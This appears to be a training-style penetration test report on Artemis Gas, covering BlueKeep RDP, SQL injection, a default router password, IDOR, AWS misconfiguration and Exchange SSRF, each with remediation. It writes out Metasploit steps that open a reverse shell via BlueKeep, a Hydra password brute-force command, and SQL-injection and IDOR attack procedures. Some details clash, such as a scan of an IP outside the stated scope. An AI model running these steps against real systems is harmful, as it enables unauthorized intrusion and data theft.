Pappas Security Firm

Artemis Gas, Inc.

September 22, 2021 to October 6, 2021

Penetration Test Report

Confidential

Table of Contents

A. Scope of Work

Artemis Gas Inc. is an energy company in the US providing oxygen, nitrogen, hydrogen, and syngas. The company is made up of Information Technology and Operation Technology (OT) departments. The company's IT department contains systems which serve 30,000 employees and more than 7 million customers both on-premise and on AWS. It consists of Windows and Linux operating systems providing services, databases and applications such as Windows Active Directory, Exchanger Server, Oracle Weblogic Server, Oracle database and the SAP ERP application. This security assessment covers the remote penetration testing of an accessible server hosted on **192.168.134.148** and a Cisco router on **192.168.134.149**. The scope of the penetration test is confined to the internet facing systems such as the web servers running Internet Information Services (IIS) on Windows. The OT department consisting of IoT sensors and actuators are out of scope for this penetration test. In addition, the PARS and APOLLO systems are out of scope. The PARS system allows for the submission of potential patents and the Apollo system is the repository for trade secrets.

B. Project Objectives

Recently, Artemis Gas Inc. has reported a data breach. The pentester at Pappas Security Firm was hired to investigate the possible attack vectors the threat actor used to obtain the customer's credit card numbers. Reconnaissance was performed on Artemis using Maltego. The pentester was able to obtain enough data to compose a diagram of the IT infrastructure. Using Maltego the pentester was able to discover the hostnames and IP addresses of the web servers, DNS servers, and mail servers. In addition, for these servers, the following data was collected using Nmap:

- Operating systems and their versions
- Software such as Apache and its version
- Port numbers used by SAP ERP, Oracle, Apache and F5 BIG-IP load balancer.

After gathering company data from reconnaissance and enumeration, the systems at Artemis were scanned for vulnerabilities using various tools.

C. Timeline

The timeline of the test is shown below:

Penetration Testing	**Start Date/Time**	**End Date/Time**
Pen Test 1	09/21/2021	10/06/2021

Table 1 Penetration Testing Timeline

D. Assumptions

Artemis has given the Security Analyst the IP address for the web server which is **192.168.134.148** and the Cisco router which is **192.168.134.149**. Both the web server and the router are public and interface with the internet. The pentester has permissions to run wireshark, metasploit, and nmap from Kali Linux connected remotely to the web server. In case there is a network and CPU bottleneck during the pen test, Artemis will have in place a backup web server configured exactly the same way as the on-premise web server residing on AWS. To shift the web traffic during the bottlenecks, Artemis has in place F5 (Big IP) acting as a load balancer.

E. Vulnerabilities and Recommendations

I found the following vulnerabilities at Artemis Gas Inc. while conducting the penetration test. The vulnerabilities are listed according to the risk rating with the critical ones listed first and I only included the vulnerabilities with risk rating of critical and high.

- **Unpatched RDP is exposed to the internet**

  Vulnerability description: Remote Desktop Protocol (RDP) is an open protocol on the web server at Artemis. If RDP is left unpatched, attackers can connect remotely to the Windows Web Server from the internet using RDP and log in as administrator. Once the threat actors are logged in they will perform reconnaissance and discover other systems and network devices at Artemis. This will allow the attacker to compromise a server on the internal network and even upload malicious code. This needs to be investigated since the administrators at Artemis do not have patching processes in place. They have told management that they do ad hoc patching and that is the way they want to continue.

Risk rating on the environment: Critical

Detailed explanation: On Kali Linux, I ran the following nmap command to find which ports the web server was listening to found that RDP on port 3389 was open:

➔ Nmap -A 192.168.134.148

The nmap command also showed that Windows Server 2008 was used as the web server. I investigated the “Bluekeep” vulnerability (CVE-2019-0708) since this affected the version of Windows Server at Artemis. The BlueKeep vulnerability allows threat actors to run random program code on their victim’s computers. This attack can be “wormable” which implies that the malicious code can spread across the network with no intervention from users.
I used the following commands on metasploit to perform the bluekeep exploit to open a command shell on the target server (Windows web server):

➔ Use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
➔ Show payloads
➔ Set PAYLOAD generic/shell_reverse_tcp
➔ Show options
➔ (I set the required hosts and ports such as RHOSTS, RPORT, RDP_CLIENT_IP, LHOST,LPORT)
➔ Exploit
➔ Session -i n (choose the session that the exploit connected to)
➔ (I was then able to connect to the C: drive on the windows web server)

Remediation: Artemis must patch the wormable RDP flaw (CVE-2019-0708) immediately with the following patches:

- Windows® XP / Windows Server® 2003 – Security Patch KB4500331
- Windows® Vista / Windows Server® 2008 – Security Patch KB4499180 OR Monthly Rollup KB4499149
- Windows® 7 / Windows Server® 2008 R2 – Security Patch KB4499175 OR Monthly Rollup KB4499164

In addition, I recommend that TCP Port 3389 is blocked at the firewalls primarily those firewalls exposed to the internet.

External CVE or other references:

CVE-2019-0708

https://www.nsa.gov/portals/75/documents/what-we-do/cybersecurity/professional-resources/csa-bluekeep_20190604.pdf

- **Web application is vulnerable to SQL Injection**

Vulnerability description: The web server at Artemis contains an application that has a login page that is vulnerable to SQL Injection. When an attacker inputs malicious SQL statements in the “login” and “password” input fields at the Login page, they bypass authentication and connect directly to the Oracle Database hosted on the Linux servers to retrieve sensitive data.

Risk rating on the environment: Critical

Detailed explanation: Using Burpsuite Intruder, I was able to perform fuzzing for SQL Injection vulnerabilities in the Login page of the web application. If an attacker is successful in a SQL Injection attack they can bypass authentication and retrieve sensitive information from the oracle database such as the customer’s credit card numbers. This would result in a data breach and a loss of the customer’s loyalty. In addition, the attacker can illegally post the credit card numbers on the darkweb. The steps I followed to discover the SQL Injection are as follows:

Opened the Login Page of the application using the browser on the Burpsuite “proxy” page.

Returned to Burp and confirmed that “Intercept is on” in the Proxy “Intercept” tab.

Then entered the Login name, clicked submit and intercepted the request with Burp Suite Proxy.

Sent the request to Burp Suite Intruder.

Used the “Add” button in Burp Intruder to choose the parameter that will be fuzzed (payload position). The parameter id is the Login name that was sent. This is also the payload position.

I choose a payload from github consisting of a file with numerous SQL code that will test the parameter id for SQL Injection vulnerabilities. The payload I used is found at:

https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/exploit/Auth_Bypass.txt

I chose “start attack” from Burp Intruder to start fuzzing.

There was some SQL code from the payload where I was able to extract first names and surnames of all users from the database.

Remediation: The Oracle Developers need to rewrite their SQL statements. Instead of SQL queries, they need to use prepared statements and stored procedures in SQL. This revision in SQL will sanitize the input values and lower the risk of SQL Injections.

External CVE or other references:

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

- **Default password on Cisco admin portal (wireshark)**

Vulnerability description: The default password of “cisco” for the “admin” username was not changed on the public cisco router at Artemis interfacing the internet. Attackers can easily obtain default passwords and perform reconnaissance on the internal network at Artemis. Once the layout of the company’s intranet is laid out, the attacker can plan attacks to compromise the systems hosting the databases containing sensitive data such as Personable Identifiable Information (PII).

Risk rating on the environment: Critical

Detailed explanation: Artemis gave me the IP address of the public Cisco router which is 192.168.134.149. Since the router is exposed to the internet, my plan was to confirm that all security policies were put in place, especially that the password to the router was complex and not the default. I have been told that the administrators did not like making changes to the IT infrastructure and it has always been that way. I used Hydra to perform the following steps to crack the router password given the username “admin” on the router:
I used nmap to scan the router to find vulnerable open ports and found FTP on port 21:

```
Nmap 192.168.134.149
```

Using the “hydra” command on Kali Linux, a text file containing default passwords, and the “admin” username, I ran the following command to find the default/insecure password:

```
Hydra -l admin -P ‘password_list.txt’ -f 192.168.134.149 ftp
```

The output from the “hydra” command showed that the password for the “admin” username is “cisco”.
I ,then, was able to successfully ftp into the router using the username and “cisco” password.

Remediation: My recommendation for the cisco password vulnerability is to immediately change the admin password to something at least 8 characters long and to use a combination of alphanumeric characters.
In addition, Artemis must take prompt action by filling out a change request form to phase out the Cisco routers and replace them with Fortigate routers consisting of the Fortios 6.2.1 operating system and later. In this operating system, adding a password to the admin administrator is mandatory. Also on Fortigate, SSH ,Telnet and SNMP are disabled by default. SSH is the only protocol that needs to be enabled.

External CVE or other references:

Password text file on github:

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt

- ❖ **Broken Access Control**

Vulnerability description: I found a broken access control vulnerability specifically Insecure Direct Object Reference (IDOR) on the Artemis customer's web portal used as an ecommerce site to order gas from Artemis's supply department. IDOR occurs when an application provides direct access to objects based on user-supplied input. As a consequence of this vulnerability, attackers can get around authorization and access resources in the system directly such as sensitive files.

Risk rating on the environment: High

Detailed explanation: I discovered the IDOR vulnerability at the customer's ecommerce website at Artemis. After I registered and created a username and password for the application, I performed the following steps to confirm that I was able to see another user's cart due to missing access controls (IDOR vulnerability):

- Opened Burpe Suite and at the Proxy -> Intercept tabs, I opened the browser and entered the URL to the Artemis ecommerce website.
- Logged in using the username and password I created.
- Searched for regular unleaded gas, selected the tab for it and added it to the cart. For the quantity, I entered 100,000.
- From Burp, I selected "turn on intercept" at the Proxy -> Intercept screen.
- Refreshed browser and then clicked on Forward until I got to the GET request message I wanted. The GET request had a header of "/rest/basket/5" which was the GET request message from the cart on the website.
- Changed the 5 to a 6 and selected "turn intercept off"
- After refreshing the browser, the screen showed another customer's cart.

I was able to use enumeration to successfully perform an IDOR attack since the program just used an integer to distinguish one basket from another.

Remediation: To mitigate this vulnerability, it is necessary for developers to declare the access that is allowed for each resource, and deny access by default at the code level. In other words, the mitigation step I recommend should result in the browser showing an "access denied message" instead of showing another user's cart.

External CVE or other references:

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control

- **Misconfigured cloud storage (AWS security group misconfiguration, lack of access restrictions)**

Vulnerability description: AWS data storage at Artemis is misconfigured. There are AWS security group misconfigurations that allow insecure inbound and outbound at the instance (EC2) level. In addition, some S3 buckets that contain sensitive data have public access.

Risk rating on the environment: High

Detailed explanation: Artemis has told me that it uses AWS as a backup solution to the on-premise IT infrastructure. I performed an nmap on the web server IP address and found that port 1521 (oracle listener port) is open implying that Artemis uses the Oracle database at the backend.

- Nmap 192.168.134.148

There is a Windows EC2 instance in AWS that is used as a backup server to the on-premise web server hosting Artemis's ecommerce website. This EC2 instance connects to an Oracle database at the backend.Artemis is concerned that some business units do not always follow company policy regarding storing data in the cloud. Oracle developers should only be allowed to view the production database. Oracle administrators should be the only ones with permissions to update the production database.I performed the following to check if proper roles and permissions were set up for the Oracle developers and Oracle administrators:

- Choose IAM Services at the AWS console
- Choose the role labeled "oracle_dev_role" and view policies assigned to that role. I noticed that there are two policies. One is "AmazonRDSFullAccess" and the other one is "AmazonRDSReadOnlyAccess". Both of these policies contain the ARN that points to the oracle production database. This role is assigned to a few oracle developers. This is a "broken access control" vulnerability.

Artemis has informed that there are EC2 Linux instances hosting SAP ERP that connect to the oracle database. I have been told that the developers are conducting file transfers from the EC2 instances to the on-premise web server. I execute the following steps to check that the file transfers are secure:

- I run "nmap 192.168.134.148" on my Kali Linux machine which shows that FTP port 21 is open.
- I check the security group configured for the EC2 Linux instance and find out that port 21 is allowed for both inbound and outbound traffic. This is a "AWS security group misconfiguration" vulnerability.

Remediation: My recommendation is for Artemis to remove the "AmazonRDSFullAccess" policy from the role labeled "oracle_dev_role". This policy should only be used by the Oracle administrators. The oracle developers should only be able to view the production database.

In addition, to improve the security on AWS, the inbound and outbound ftp port for the EC2 Linux instance needs to be removed. Files are transferred unencrypted when FTP is used. The secure protocol SFTP on port 22 should be used. SFTP uses SSH for file transfers. SSH in turn uses authentication and cryptographic capabilities to keep the file transfer secure.

External CVE or other references:
https://aws.amazon.com/security/

- **Microsoft Exchange Server vulnerable to CVE-2021-26855**

Vulnerability description: The Microsoft Exchange server vulnerability is a server-side-request-forgery vulnerability. When it's exploited it uses HTTPS connections to establish and authenticate user access.

Risk rating on the environment: High

Detailed explanation: On Kali Linux, I ran the following nmap command to see what ports the web server was listening to and found that SMTP on port 25 was open and labeled as microsoft:

- ➔ **Nmap -A 192.168.134.148**

I then downloaded a script for the microsoft exchange vulnerability via the github link: https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse Next I added this script to the share folder and updated the nmap script database. To check for the vulnerability I entered the following command:

- ➔ **Nmap -p 80,443 --script http-vuln-cve2021-26855 192.168.134.150**

The output showed that port 443 contained the Exchange Server SSRF Vulnerability (CVE-2021-26855)

Remediation: The patch for Microsoft Exchange Server CVE-2021-26855 needs to be applied immediately.

External CVE or other references:
CVE-2021-26855
https://cybersprint.com/new/microsoft-exchange-cve-how-to-scan-your-systems-for-the-vulnerability